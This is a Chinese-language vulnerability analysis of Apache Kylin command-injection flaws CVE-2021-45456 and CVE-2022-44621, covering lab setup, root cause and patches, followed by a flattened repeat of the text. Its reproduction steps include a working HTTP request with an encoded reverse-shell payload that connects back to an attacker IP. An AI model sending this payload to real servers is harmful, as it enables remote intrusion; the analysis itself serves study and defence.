kylin CVE-2021-45456 & CVE-2022-44621
字数 1661 2025-08-25 22:58:40

Apache Kylin 命令注入漏洞分析 (CVE-2021-45456 & CVE-2022-44621)

前言

本文详细分析 Apache Kylin 中的两个命令注入漏洞:CVE-2021-45456 和 CVE-2022-44621。这两个漏洞都涉及系统未正确过滤用户输入导致命令执行的安全问题。

CVE-2021-45456 漏洞分析

漏洞概述

CVE-2021-45456 是由于系统直接将用户请求中的 project 参数传入并执行,导致命令注入漏洞。

影响版本

  • Kylin 4.0.0

环境配置

测试环境搭建

使用官方 Docker 镜像搭建环境:

docker pull apachekylin/apache-kylin-standalone:4.0.0
docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 2181:2181 -p 5005:5005 apachekylin/apache-kylin-standalone:4.0.0

端口说明

  • 5005:远程调试端口
  • 7070:Kylin 页面 (http://127.0.0.1:7070/kylin/login)
  • 50080:HDFS NameNode 页面
  • 8088:YARN ResourceManager 页面

调试配置

修改 kylin.sh 添加调试参数:

sed -i 's/\${KYLIN_TOMCAT_OPTS} -classpath/\${KYLIN_TOMCAT_OPTS} -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath/g' /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh
sh /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh restart

漏洞复现步骤

  1. 登录 Kylin (默认账号: admin/KYLIN)
  2. 创建一个特殊命名的项目,名称包含恶意命令:
    nohupshcechoc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwNS8xMjM0NSAwPiYxCgbase64d
    
  3. 在攻击机使用 nc 监听 12345 端口
  4. 发送恶意请求触发漏洞:
    GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1
    Host: 127.0.0.1:7070
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75D
    Upgrade-Insecure-Requests: 1
    
  5. 攻击机将收到反弹 shell

漏洞原理分析

  1. 请求到达 org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo 方法
  2. 系统使用 ValidateUtil#convertStringToBeAlphanumericUnderscore 方法过滤 project 参数:
    public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) {
        return toBeConverted.replaceAll("[^a-zA-Z0-9_]", "");
    }
    
  3. 过滤后的参数用于检查项目是否存在
  4. 关键问题:传递给 runDiagnosisCLI 方法的参数是原始未过滤的 project 参数
  5. runDiagnosisCLI 方法将参数拼接后直接执行系统命令

修复方案

补丁链接:https://github.com/apache/kylin/pull/1781

修复方法:确保传递给 runDiagnosisCLI 方法的参数是经过过滤的参数,保持参数一致性。

CVE-2022-44621 漏洞分析

漏洞概述

CVE-2022-44621 是由于系统未正确过滤 jobId 参数,可能导致命令注入。但实际利用存在限制。

漏洞分析

  1. 漏洞存在于下载 job 的功能接口
  2. 系统首先根据 jobId 查询是否存在该 job
  3. 如果 jobId 可控,攻击者可植入恶意命令
  4. 关键限制jobId 是系统生成的 UUID,攻击者无法控制其值
  5. 因此实际利用场景有限

修复方案

补丁链接:https://github.com/apache/kylin/pull/2011/files

修复方法:对 jobId 参数进行更严格的验证和过滤。

总结

  1. CVE-2021-45456 是一个高危漏洞,允许通过精心构造的 project 参数实现远程命令执行
  2. CVE-2022-44621 由于 jobId 不可控,实际利用难度较大
  3. 两个漏洞都源于系统未正确处理用户输入,直接将用户输入用于命令执行
  4. 修复方案都涉及对用户输入进行更严格的验证和过滤

参考链接

  1. https://securitylab.github.com/advisories/GHSL-2021-1048_GHSL-2021-1051_Apache_Kylin/
  2. https://y4er.com/posts/cve-2021-45456-apache-kylin-command-injection/
  3. https://lists.apache.org/thread/70fkf9w1swt2cqdcz13rwfjvblw1fcpf
  4. https://lists.apache.org/thread/7ctchj24dofgsj9g1rg1245cms9myb34
Apache Kylin 命令注入漏洞分析 (CVE-2021-45456 & CVE-2022-44621) 前言 本文详细分析 Apache Kylin 中的两个命令注入漏洞:CVE-2021-45456 和 CVE-2022-44621。这两个漏洞都涉及系统未正确过滤用户输入导致命令执行的安全问题。 CVE-2021-45456 漏洞分析 漏洞概述 CVE-2021-45456 是由于系统直接将用户请求中的 project 参数传入并执行,导致命令注入漏洞。 影响版本 Kylin 4.0.0 环境配置 测试环境搭建 使用官方 Docker 镜像搭建环境: 端口说明 5005:远程调试端口 7070:Kylin 页面 (http://127.0.0.1:7070/kylin/login) 50080:HDFS NameNode 页面 8088:YARN ResourceManager 页面 调试配置 修改 kylin.sh 添加调试参数: 漏洞复现步骤 登录 Kylin (默认账号: admin/KYLIN) 创建一个特殊命名的项目,名称包含恶意命令: 在攻击机使用 nc 监听 12345 端口 发送恶意请求触发漏洞: 攻击机将收到反弹 shell 漏洞原理分析 请求到达 org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo 方法 系统使用 ValidateUtil#convertStringToBeAlphanumericUnderscore 方法过滤 project 参数: 过滤后的参数用于检查项目是否存在 关键问题 :传递给 runDiagnosisCLI 方法的参数是原始未过滤的 project 参数 runDiagnosisCLI 方法将参数拼接后直接执行系统命令 修复方案 补丁链接:https://github.com/apache/kylin/pull/1781 修复方法:确保传递给 runDiagnosisCLI 方法的参数是经过过滤的参数,保持参数一致性。 CVE-2022-44621 漏洞分析 漏洞概述 CVE-2022-44621 是由于系统未正确过滤 jobId 参数,可能导致命令注入。但实际利用存在限制。 漏洞分析 漏洞存在于下载 job 的功能接口 系统首先根据 jobId 查询是否存在该 job 如果 jobId 可控,攻击者可植入恶意命令 关键限制 : jobId 是系统生成的 UUID,攻击者无法控制其值 因此实际利用场景有限 修复方案 补丁链接:https://github.com/apache/kylin/pull/2011/files 修复方法:对 jobId 参数进行更严格的验证和过滤。 总结 CVE-2021-45456 是一个高危漏洞,允许通过精心构造的 project 参数实现远程命令执行 CVE-2022-44621 由于 jobId 不可控,实际利用难度较大 两个漏洞都源于系统未正确处理用户输入,直接将用户输入用于命令执行 修复方案都涉及对用户输入进行更严格的验证和过滤 参考链接 https://securitylab.github.com/advisories/GHSL-2021-1048_ GHSL-2021-1051_ Apache_ Kylin/ https://y4er.com/posts/cve-2021-45456-apache-kylin-command-injection/ https://lists.apache.org/thread/70fkf9w1swt2cqdcz13rwfjvblw1fcpf https://lists.apache.org/thread/7ctchj24dofgsj9g1rg1245cms9myb34